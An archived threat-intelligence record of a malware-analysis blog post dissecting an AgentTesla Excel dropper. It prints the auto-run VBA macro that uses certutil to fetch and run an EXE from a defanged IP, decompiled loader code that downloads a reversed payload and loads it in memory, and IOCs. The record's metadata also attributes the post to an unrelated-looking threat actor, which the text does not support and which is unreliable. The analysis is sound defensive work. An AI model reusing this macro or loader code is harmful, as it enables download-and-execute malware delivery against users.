{
	"id": "014db686-3765-48f7-b006-b1e767778e73",
	"created_at": "2026-04-06T00:09:40.848321Z",
	"updated_at": "2026-04-10T03:23:51.673744Z",
	"deleted_at": null,
	"sha1_hash": "1d30540560b1f4b4ee657bb98c7c73e90d7042c8",
	"title": "An AgentTesla Sample Using VBA Macros and Certutil",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 104501,
	"plain_text": "An AgentTesla Sample Using VBA Macros and Certutil\r\nPublished: 2022-03-26 · Archived: 2026-04-05 21:21:22 UTC\r\nAgentTesla is a .NET stealer that adversaries commonly buy and combine with other malicious products for deployment. In\r\nthis post I’m tearing into a XLSM document that downloads and executes further AgentTesla malware. If you want to follow\r\nalong at home, the sample is available in MalwareBazaar here:\r\nhttps://bazaar.abuse.ch/sample/d1c616976e917d54778f587a2550ee5568a72b661d5f04e68d194ce998864d84/.\r\nTriaging the first stage\r\nFirst stop, triage! MalwareBazaar claims the file is a XLSM Excel document but we should still verify just in case.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\nremnux@remnux:~/cases/tesla-xlsm$ diec mv_tvm.xlsm\r\nBinary\r\n Archive: Zip(2.0)[25.6%,1 file]\r\n Data: ZIP archive\r\nremnux@remnux:~/cases/tesla-xlsm$ file mv_tvm.xlsm\r\nmv_tvm.xlsm: Microsoft Excel 2007+\r\nremnux@remnux:~/cases/tesla-xlsm$ xxd mv_tvm.xlsm | head\r\n00000000: 504b 0304 1400 0800 0800 780d 7954 7c5e PK........x.yT|^\r\n00000010: 7c2f 8e01 0000 1006 0000 1300 0000 5b43 |/............[C\r\n00000020: 6f6e 7465 6e74 5f54 7970 6573 5d2e 786d ontent_Types].xm\r\n00000030: 6ccd 544d 6fdb 300c fd2b 86ae 85a5 b487 l.TMo.0..+......\r\n00000040: 6218 e2f4 b076 c7b5 c0ba 1fc0 484c ac46 b....v......HL.F\r\n00000050: 5f10 d534 f9f7 a3ec 066b 0377 c8b0 0cd8 _..4.....k.w....\r\n00000060: c516 f5f8 f81e 65ca f39b 9d77 cd16 33d9 ......e....w..3.\r\n00000070: 183a 7129 67a2 c1a0 a3b1 61dd 891f 8f5f .:q)g.....a...._\r\n00000080: db4f a2a1 02c1 808b 013b b147 1237 8bf9 .O.......;.G.7..\r\n00000090: e33e 2135 cc0d d489 be94 f459 29d2 3d7a .\u003e!5.......Y).=z\r\nDetect-It-Easy thinks we have a ZIP archive and file thinks we have a Microsoft Excel 2007+ document. Both are correct\r\nas MS Excel 2007+ documents are essentially ZIP archives containing XML files. We can verify that assumption using\r\nxxd and seeing the file names of XML files within the XLSM document. Now we definitely know, this document is for\r\nMS Excel.\r\nAnalyzing the document macro\r\nThe easiest way to grab low-hanging macro functionality for me is through olevba . In this case, the macro functionality is\r\nstraightforward:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\nremnux@remnux:~/cases/tesla-xlsm$ olevba mv_tvm.xlsm\r\nolevba 0.60 on Python 3.8.10 - http://decalage.info/python/oletools\r\n===============================================================================\r\nFILE: mv_tvm.xlsm\r\nType: OpenXML\r\n-------------------------------------------------------------------------------\r\nVBA MACRO ThisWorkbook.cls\r\nin file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\nPrivate Sub Workbook_Open()\r\nPID = Shell(\"cmd /c certutil.exe -urlcache -split -f \"\"hxxp://18.179.111[.]240/xr0/loader/uploads/scan08710203065.exe\"\" Lqdz\r\nEnd Sub\r\n+----------+--------------------+---------------------------------------------+\r\n|Type |Keyword |Description |\r\n+----------+--------------------+---------------------------------------------+\r\n|AutoExec |Workbook_Open |Runs when the Excel Workbook is opened |\r\n|Suspicious|Shell |May run an executable file or a system |\r\nhttps://forensicitguy.github.io/agenttesla-vba-certutil-download/\r\nPage 1 of 6\n\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\n34\r\n| | |command |\r\n|Suspicious|vbHide |May run an executable file or a system |\r\n| | |command |\r\n|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |\r\n| | |used to obfuscate strings (option --decode to|\r\n| | |see all) |\r\n|Suspicious|Base64 Strings |Base64-encoded strings were detected, may be |\r\n| | |used to obfuscate strings (option --decode to|\r\n| | |see all) |\r\n|IOC |hxxp://18.179.111[.]24|URL |\r\n| |0/xr0/loader/uploads| |\r\n| |/scan08710203065.exe| |\r\n|IOC |18.179.111[.]240 |IPv4 address |\r\n|IOC |certutil.exe |Executable file name |\r\n|IOC |scan08710203065.exe |Executable file name |\r\n|IOC |Lqdzvm.exe |Executable file name |\r\n+----------+--------------------+---------------------------------------------+\r\nThe macro contains a subroutine named Workbook_Open , which launches when Excel opens this document. The subroutine\r\nexecutes a Shell command, which spawns cmd.exe and a certutil.exe process. The certutil process uses a -\r\nurlcache and -split command line option, downloads from the specified URL, and stores the contents within\r\nLqdzvm.exe.exe Afterward, cmd.exe executes the downloaded EXE.\r\nSince the VBA macro here is pretty brief, there’s not much else to investigate in the document. Let’s move on to the second\r\nstage, the downloaded EXE.\r\nAnalyzing Lqdzvm.exe.exe\r\nWe can get a lead on this EXE using diec and file .\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\nremnux@remnux:~/cases/tesla-xlsm$ file Lqdzvm.exe.exe\r\nLqdzvm.exe.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows\r\nremnux@remnux:~/cases/tesla-xlsm$ diec Lqdzvm.exe.exe\r\nPE32\r\n Protector: Smart Assembly(-)[-]\r\n Library: .NET(v4.0.30319)[-]\r\n Linker: Microsoft Linker(8.0)[GUI32]\r\nThe file output for the EXE indicates it is a Mono/.NET assembly for Windows. The diec command gets more specific,\r\nshowing the EXE is also protected using Smart Assembly, a commercial obfuscator for .NET technologies. Using that\r\nknowledge we can attempt some deobfuscation and decompilation using ilspycmd .\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\nremnux@remnux:~/cases/tesla-xlsm$ de4dot Lqdzvm.exe.exe -p sa\r\nde4dot v3.1.41592.3405 Copyright (C) 2011-2015 de4dot@gmail.com\r\nLatest version and source code: https://github.com/0xd4d/de4dot\r\nDetected SmartAssembly 8.1.0.4892 (/home/remnux/cases/tesla-xlsm/Lqdzvm.exe.exe)\r\nCleaning /home/remnux/cases/tesla-xlsm/Lqdzvm.exe.exe\r\nRenaming all obfuscated symbols\r\nSaving /home/remnux/cases/tesla-xlsm/Lqdzvm.exe-cleaned.exe\r\nremnux@remnux:~/cases/tesla-xlsm$ ilspycmd Lqdzvm.exe-cleaned.exe \u003e Lqdzvm.exe-cleaned.decompiled.cs\r\nFrom here we can examine the decompiled C# code, starting with the assembly properties.\r\nhttps://forensicitguy.github.io/agenttesla-vba-certutil-download/\r\nPage 2 of 6\n\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n[assembly: CompilationRelaxations(8)]\r\n[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]\r\n[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | DebuggableAttribute.DebuggingModes.DisableOptimizations |\r\n[assembly: AssemblyTitle(\"BandiFix\")]\r\n[assembly: AssemblyDescription(\"BandiFix\")]\r\n[assembly: AssemblyConfiguration(\"\")]\r\n[assembly: AssemblyCompany(\"Bandicam.com\")]\r\n[assembly: AssemblyProduct(\"BandiFix\")]\r\n[assembly: AssemblyCopyright(\"Copyright(c) 2010-2020 Bandicam.com. All rights reserved.\")]\r\n[assembly: AssemblyTrademark(\"\")]\r\n[assembly: ComVisible(false)]\r\n[assembly: Guid(\"3659e84e-1949-4909-85ac-f5710802a51c\")]\r\n[assembly: AssemblyFileVersion(\"2.0.0.111\")]\r\n[assembly: TargetFramework(\".NETFramework,Version=v4.0\", FrameworkDisplayName = \".NET Framework 4\")]\r\n[assembly: AssemblyVersion(\"2.0.0.111\")]\r\nThe assembly properties/attributes here resemble those for the Bandicam BandiFix application. The adversary is likely\r\ntrying to masquerade as the application to avoid attention. The GUID 3659e84e-1949-4909-85ac-f5710802a51c in this EXE\r\nis a TypeLib ID GUID. You can potentially use the property in VT or other tools to pivot and find similar EXEs.\r\nNext, we can dive into the entry point, Main() .\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\nnamespace ns0\r\n{\r\ninternal class Class0\r\n{\r\n[STAThread]\r\nprivate static void Main()\r\n{\r\nClass1.smethod_0();\r\nClass1.smethod_1();\r\nClass2.smethod_1();\r\n}\r\n}\r\nThe Main() function is pretty simple, branching off to three other methods defined in two classes. Let’s jump into the code\r\nat Class1.smethod_0() to see it.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\ninternal class Class1\r\n{\r\n static void smethod_0()\r\n {\r\n ProcessStartInfo val = new ProcessStartInfo();\r\n val.set_FileName(\"powershell\");\r\n val.set_Arguments(\"-enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgAwAA==\");\r\n val.set_WindowStyle((ProcessWindowStyle)1);\r\n Process.Start(val).WaitForExit();\r\n try\r\n {\r\n ServicePointManager.set_SecurityProtocol((SecurityProtocolType)3072);\r\n }\r\n catch\r\n {\r\n }\r\n }\r\nThis method creates a ProcessStartInfo object, fills its properties with values to launch PowerShell with a base64-encoded\r\ncommand line, sets the window style to hidden, and starts the PowerShell process. The encoded PowerShell command\r\nhttps://forensicitguy.github.io/agenttesla-vba-certutil-download/\r\nPage 3 of 6\n\ndecodes to Start-Sleep -Seconds 20 . Combined with the WaitForExit() function when started, this shows the code\r\nwaits/sleeps for 20 seconds before moving to the next step. In the next step, the code sets the .NET ServicePointManager’s\r\nSecurityProtocol property to TLS1.2.\r\nNow we can move into the next function, Class1.smethod_1() .\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\nstatic void smethod_1()\r\n{\r\n List\u003cbyte\u003e list = new List\u003cbyte\u003e();\r\n byte[] array = Class2.smethod_0();\r\n Stack val = new Stack();\r\n val.Push((object)\"Welcome\");\r\n val.Push((object)\"Tutlane\");\r\n val.Push((object)20.5f);\r\n val.Push((object)10);\r\n val.Push((object)null);\r\n int num = array.Length;\r\n while (num-- \u003e 0)\r\n {\r\n list.Add(array[num]);\r\n }\r\n val.Push((object)100);\r\n foreach (object? item in val)\r\n {\r\n Console.WriteLine(item);\r\n }\r\n AppDomain.CurrentDomain.Load(list.ToArray());\r\n}\r\nWithin the function there is immediately some interesting code. First, there is a byte[] array that holds content from\r\nClass2.smethod_0() byte arrays in malware tend to include string or binary content, so my hypothesis for the array is that\r\nis designed to hold one of those. The code then manipulates a Stack object, pushing objects onto it. It doesn’t seem to use\r\nthem in a productive way outside a subsequent Console.WriteLine call. The byte array does get used, in a reversal\r\nalgorithm. The num variable and following while loop starts with the ending element of the byte array and moves\r\nbackward to the first, adding each element to a list. After the reversal, the list gets converted back to an array and used as a\r\nparameter for AppDomain.CurrentDomain.Load() . This call is designed to load an arbitrary .NET assembly into the current\r\napplication domain. This is roughly similar to System.Reflection.Assembly.Load() . This adds some credence to our\r\nhypothesis from earlier, that the byte array will likely hold binary content that translates into an assembly. So let’s pivot over\r\nto that function to see what it does.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\ninternal class Class2 : Process\r\n{\r\ninternal static byte[] smethod_0()\r\n{\r\n string[] array = new string[3]\r\n {\r\n \"Dot\",\r\n \"Net\",\r\n \"Perls\"\r\n };\r\n Stack\u003cstring\u003e val = new Stack\u003cstring\u003e((IEnumerable\u003cstring\u003e)array);\r\n Enumerator\u003cstring\u003e enumerator = val.GetEnumerator();\r\n try\r\n {\r\n while (enumerator.MoveNext())\r\n {\r\n string current = enumerator.get_Current();\r\n Console.WriteLine(current);\r\n }\r\n }\r\n finally\r\n {\r\nhttps://forensicitguy.github.io/agenttesla-vba-certutil-download/\r\nPage 4 of 6\n\n23\r\n24\r\n25\r\n26\r\n ((IDisposable)enumerator).Dispose();\r\n }\r\n return Class1.smethod_2(\"hxxp://18.179.111[.]240/xr0/loader/uploads/scan08710203065_Kvnllpaf.jpg\");\r\n}\r\nMost of the code in this function is either junk or imposes a slight delay before further execution. The only real important\r\ncode in the function is the last line that calls Class1.smethod_2() , passing in a URL to an alleged JPG file. We know this\r\nfunction is supposed to return a byte array to get reversed and loaded into memory, so there’s a decent chance this upcoming\r\ncode performs a download of a reversed Windows EXE or DLL. Let’s jump to that code:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\nstatic byte[] smethod_2(string string_0)\r\n{\r\n using MemoryStream memoryStream = new MemoryStream();\r\n WebRequest val = WebRequest.Create(string_0);\r\n Stream responseStream = val.GetResponse().GetResponseStream();\r\n responseStream.CopyTo(memoryStream);\r\n return memoryStream.ToArray();\r\n}\r\nSure enough, the method creates a WebRequest object for the URL, passes its response into a MemoryStream, and returns\r\nthe content as a byte array. This function ends the second branch of code from Main() , and we can dive into the final\r\nfunction from Main() here:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\ninternal static void smethod_1()\r\n{\r\n Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies();\r\n foreach (Assembly assembly in assemblies)\r\n {\r\n Type[] types = assembly.GetTypes();\r\n foreach (Type type in types)\r\n {\r\n try\r\n {\r\n Queue\u003cint\u003e val = new Queue\u003cint\u003e();\r\n val.Enqueue(10);\r\n val.Enqueue(23);\r\n val.Enqueue((int)type.InvokeMember(\"Zsjeajjr\", BindingFlags.InvokeMethod, null, null, null));\r\n val.Enqueue(5);\r\n val.Enqueue(29);\r\n Enumerator\u003cint\u003e enumerator = val.GetEnumerator();\r\n try\r\n {\r\n while (enumerator.MoveNext())\r\n {\r\n int current = enumerator.get_Current();\r\n Console.WriteLine(current);\r\n }\r\n }\r\n ...\r\nI’ve gone ahead and left out some of the function code for brevity, the important bits are shown above. For each class/type in\r\neach assembly namespace in this application domain, the code searches for a method named Zsjeajjr() . Once found, the\r\nmethod gets invoked and control is passed to that method.\r\nNow we can explore that scan08710203065_Kvnllpaf.jpg file downloaded and loaded!\r\nAnalyzing scan08710203065_Kvnllpaf.jpg\r\nFrom the previous stage we know this file should contain the bytes of a Windows EXE or DLL that are reversed. Our typical\r\nfile and diec commands won’t work because the first bytes of the file will presumably be zeroes. We can use xxd and\r\nhttps://forensicitguy.github.io/agenttesla-vba-certutil-download/\r\nPage 5 of 6\n\ntail to see the file contents.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\nremnux@remnux:~/cases/tesla-xlsm$ xxd scan08710203065_Kvnllpaf.jpg | tail\r\n00095760: 0009 5000 0006 010b 210e 00e0 0000 0000 ..P.....!.......\r\n00095770: 0000 0000 623c f3a6 0003 014c 0000 4550 ....b\u003c.....L..EP\r\n00095780: 0000 0000 0000 0024 0a0d 0d2e 6564 6f6d .......$....edom\r\n00095790: 2053 4f44 206e 6920 6e75 7220 6562 2074 SOD ni nur eb t\r\n000957a0: 6f6e 6e61 6320 6d61 7267 6f72 7020 7369 onnac margorp si\r\n000957b0: 6854 21cd 4c01 b821 cd09 b400 0eba 1f0e hT!.L..!........\r\n000957c0: 0000 0080 0000 0000 0000 0000 0000 0000 ................\r\n000957d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n000957e0: 0000 0000 0000 0040 0000 0000 0000 00b8 .......@........\r\n000957f0: 0000 ffff 0000 0004 0000 0003 0090 5a4d ..............ZM\r\nExcellent, we have a MZ header and DOS stub reversed in the file bytes. We can easily get the original order using\r\nPowerShell code:\r\n1\r\n2\r\n3\r\n[Byte[]] $code = Get-Content -AsByteStream ./scan08710203065_Kvnllpaf.jpg\r\n[Array]::Reverse($code)\r\nSet-Content -Path ./original.bin -Value $code -AsByteStream\r\nNow we can examine the original binary file to see the next steps.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\nremnux@remnux:~/cases/tesla-xlsm$ diec original.bin\r\nPE32\r\n Protector: Eziriz .NET Reactor(6.x.x.x)[By Dr.FarFar]\r\n Library: .NET(v4.0.30319)[-]\r\n Linker: Microsoft Linker(6.0)[DLL32]\r\nremnux@remnux:~/cases/tesla-xlsm$ file original.bin\r\noriginal.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows\r\nOnce again, this stage looks to be a .NET DLL packed using .NET Reactor, another commercial obfuscator. This is where I\r\nwant to stop for the evening because when I tried to move into subsequent stages I was stumped by some of the obfuscation\r\nand the amount of code in this original DLL. I leave its deobfuscation and decompilation up to the reader as further work if\r\ndesired, and the sample is available in MalwareBazaar here:\r\nhttps://bazaar.abuse.ch/sample/5250352cea9441dd051802bd58ccc6b2faf05007ee599e6876b9cce3fdc5aa26/.\r\nThanks for reading!\r\nSource: https://forensicitguy.github.io/agenttesla-vba-certutil-download/\r\nhttps://forensicitguy.github.io/agenttesla-vba-certutil-download/\r\nPage 6 of 6",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://forensicitguy.github.io/agenttesla-vba-certutil-download/"
	],
	"report_names": [
		"agenttesla-vba-certutil-download"
	],
	"threat_actors": [
		{
			"id": "d90307b6-14a9-4d0b-9156-89e453d6eb13",
			"created_at": "2022-10-25T16:07:23.773944Z",
			"updated_at": "2026-04-10T02:00:04.746188Z",
			"deleted_at": null,
			"main_name": "Lead",
			"aliases": [
				"Casper",
				"TG-3279"
			],
			"source_name": "ETDA:Lead",
			"tools": [
				"Agentemis",
				"BleDoor",
				"Cobalt Strike",
				"CobaltStrike",
				"RbDoor",
				"RibDoor",
				"Winnti",
				"cobeacon"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434180,
	"ts_updated_at": 1775791431,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/1d30540560b1f4b4ee657bb98c7c73e90d7042c8.pdf",
		"text": "https://archive.orkl.eu/1d30540560b1f4b4ee657bb98c7c73e90d7042c8.txt",
		"img": "https://archive.orkl.eu/1d30540560b1f4b4ee657bb98c7c73e90d7042c8.jpg"
	}
}